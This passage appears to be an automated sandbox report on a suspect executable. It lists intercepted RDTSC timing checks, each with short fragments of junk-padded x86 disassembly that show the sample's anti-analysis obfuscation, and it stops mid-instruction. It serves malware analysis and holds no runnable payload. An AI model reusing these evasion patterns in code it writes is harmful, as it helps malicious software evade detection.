Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E165 second address: 110E16B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E2E0 second address: 110E30A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC83CB64D36h 0x0000000a pushad 0x0000000b jmp 00007FC83CB64D45h 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007FC83CB64D36h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E30A second address: 110E30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E47A second address: 110E484 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC83CB64D36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110E484 second address: 110E48D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDCE second address: 110FDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDD5 second address: 110FDDA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FDDA second address: 110FE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FC83CB64D3Ah 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 popad 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007FC83CB64D3Dh 0x0000001f push eax 0x00000020 push eax 0x00000021 pop eax 0x00000022 pop eax 0x00000023 popad 0x00000024 mov eax, dword ptr [eax] 0x00000026 jmp 00007FC83CB64D48h 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FE2E second address: 110FE32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FE32 second address: 110FE4C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC83CB64D36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FC83CB64D3Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110FE4C second address: 110FF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 sub dword ptr [ebp+122D32AEh], ebx 0x0000000d push 00000003h 0x0000000f and cx, DD69h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 jno 00007FC83CB776ACh 0x0000001d pop esi 0x0000001e push 00000003h 0x00000020 jmp 00007FC83CB776B2h 0x00000025 call 00007FC83CB776A9h 0x0000002a jmp 00007FC83CB776B1h 0x0000002f push eax 0x00000030 jne 00007FC83CB776ACh 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a jmp 00007FC83CB776B3h 0x0000003f mov eax, dword ptr [eax] 0x00000041 jmp 00007FC83CB776B5h 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a jnl 00007FC83CB776BFh 0x00000050 pop eax 0x00000051 add esi, dword ptr [ebp+122D1AE6h] 0x00000057 lea ebx, dword ptr [ebp+12451CAEh] 0x0000005d pushad 0x0000005e mov esi, 1806DF8Fh 0x00000063 mov ebx, 6B90DE19h 0x00000068 popad 0x00000069 and ecx, 3E8F46DFh 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FC83CB776AFh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110009 second address: 11100CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007FC83CB64D3Fh 0x0000000e mov eax, dword ptr [eax] 0x00000010 push ecx 0x00000011 jmp 00007FC83CB64D43h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push ecx 0x0000001c jmp 00007FC83CB64D48h 0x00000021 pop ecx 0x00000022 pop eax 0x00000023 jmp 00007FC83CB64D3Dh 0x00000028 push 00000003h 0x0000002a mov esi, dword ptr [ebp+122D3298h] 0x00000030 push 00000000h 0x00000032 jne 00007FC83CB64D3Ch 0x00000038 push 00000003h 0x0000003a call 00007FC83CB64D40h 0x0000003f xor edx, dword ptr [ebp+122D2C97h] 0x00000045 pop edi 0x00000046 call 00007FC83CB64D39h 0x0000004b push ebx 0x0000004c pushad 0x0000004d jmp 00007FC83CB64D47h 0x00000052 push edx 0x00000053 pop edx 0x00000054 popad 0x00000055 pop ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jne 00007FC83CB64D38h 0x0000005e pop edx 0x0000005f mov eax, dword ptr [esp+04h] 0x00000063 pushad 0x00000064 pushad 0x00000065 push edi 0x00000066 pop edi 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11100CE second address: 111010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FC83CB776BEh 0x0000000b jmp 00007FC83CB776B8h 0x00000010 popad 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007FC83CB776B5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111010B second address: 1110124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110124 second address: 1110129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1110129 second address: 111012E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1122380 second address: 112239E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDBF second address: 112FDC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FDC4 second address: 112FDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF1F second address: 112FF2B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112FF2B second address: 112FF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC83CB776A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11300A3 second address: 11300A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11300A9 second address: 11300AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130356 second address: 1130371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB64D47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130371 second address: 1130384 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB776AFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130973 second address: 1130979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130979 second address: 113097D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113097D second address: 1130997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D41h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130997 second address: 11309C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FC83CB776AEh 0x00000011 push edi 0x00000012 pop edi 0x00000013 jnc 00007FC83CB776A6h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC83CB776B2h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11309C4 second address: 11309D8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC83CB64D36h 0x00000008 jmp 00007FC83CB64D3Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130CB2 second address: 1130CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130CB7 second address: 1130CD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FC83CB64D36h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130CD1 second address: 1130CD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130CD5 second address: 1130CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128128 second address: 1128140 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC83CB776AEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128140 second address: 1128146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128146 second address: 1128166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC83CB776ACh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FC83CB776A6h 0x00000013 jc 00007FC83CB776A6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1128166 second address: 112817E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FC83CB64D42h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB9A3 second address: 10FB9A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB9A9 second address: 10FB9E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FC83CB64D36h 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FC83CB64D3Ch 0x00000010 jmp 00007FC83CB64D43h 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pop edx 0x0000001d jg 00007FC83CB64D36h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB9E1 second address: 10FBA26 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FC83CB776ACh 0x0000000e jmp 00007FC83CB776B7h 0x00000013 jmp 00007FC83CB776B5h 0x00000018 popad 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FBA26 second address: 10FBA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130F9D second address: 1130FB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FC83CB776ADh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130FB3 second address: 1130FB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130FB9 second address: 1130FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 jc 00007FC83CB776ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130FC8 second address: 1130FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130FD0 second address: 1130FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130FD4 second address: 1130FDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113186B second address: 1131871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1131871 second address: 113188E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB64D44h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113188E second address: 1131892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1134537 second address: 1134540 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFCB1 second address: 10EFCD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007FC83CB776AAh 0x0000000d ja 00007FC83CB776A6h 0x00000013 jmp 00007FC83CB776ACh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFCD7 second address: 10EFCE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFCE0 second address: 10EFCE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EFCE6 second address: 10EFCEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110571C second address: 1105722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105722 second address: 110572D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110572D second address: 1105747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC83CB776B3h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E2CD second address: 113E2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E2D3 second address: 113E2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E591 second address: 113E5AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E5AD second address: 113E5B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E5B1 second address: 113E5B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113E5B7 second address: 113E5C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EB3A second address: 113EB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC83CB64D3Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113EB50 second address: 113EB68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FC83CB776AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114298C second address: 11429B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007FC83CB64D3Ah 0x0000000f push edx 0x00000010 pop edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144ED7 second address: 1144EDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1144F6E second address: 1144F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11450F5 second address: 11450FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11450FA second address: 114510E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC83CB64D40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11455F5 second address: 11455FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145C1A second address: 1145C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145C1E second address: 1145C2F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145C2F second address: 1145C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145FB0 second address: 1145FB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145FB5 second address: 1145FDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC83CB64D3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC83CB64D43h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1146F81 second address: 1146F9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC83CB776A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC83CB776AEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148B8E second address: 1148B94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148B94 second address: 1148B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1148B98 second address: 1148B9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1149673 second address: 11496D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FC83CB776A6h 0x00000009 jmp 00007FC83CB776AAh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push ecx 0x00000013 and edi, dword ptr [ebp+122D331Ah] 0x00000019 pop esi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FC83CB776A8h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 sub edi, dword ptr [ebp+122D3348h] 0x0000003e xchg eax, ebx 0x0000003f ja 00007FC83CB776ACh 0x00000045 pushad 0x00000046 push edx 0x00000047 pop edx 0x00000048 pushad 0x00000049 popad 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jnp 00007FC83CB776A6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11496D9 second address: 11496DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11496DD second address: 11496E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F202 second address: 114F208 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114F208 second address: 114F288 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnc 00007FC83CB776AEh 0x0000000f nop 0x00000010 sub ebx, dword ptr [ebp+122D1966h] 0x00000016 mov di, 8803h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007FC83CB776A8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push esi 0x0000003b call 00007FC83CB776A8h 0x00000040 pop esi 0x00000041 mov dword ptr [esp+04h], esi 0x00000045 add dword ptr 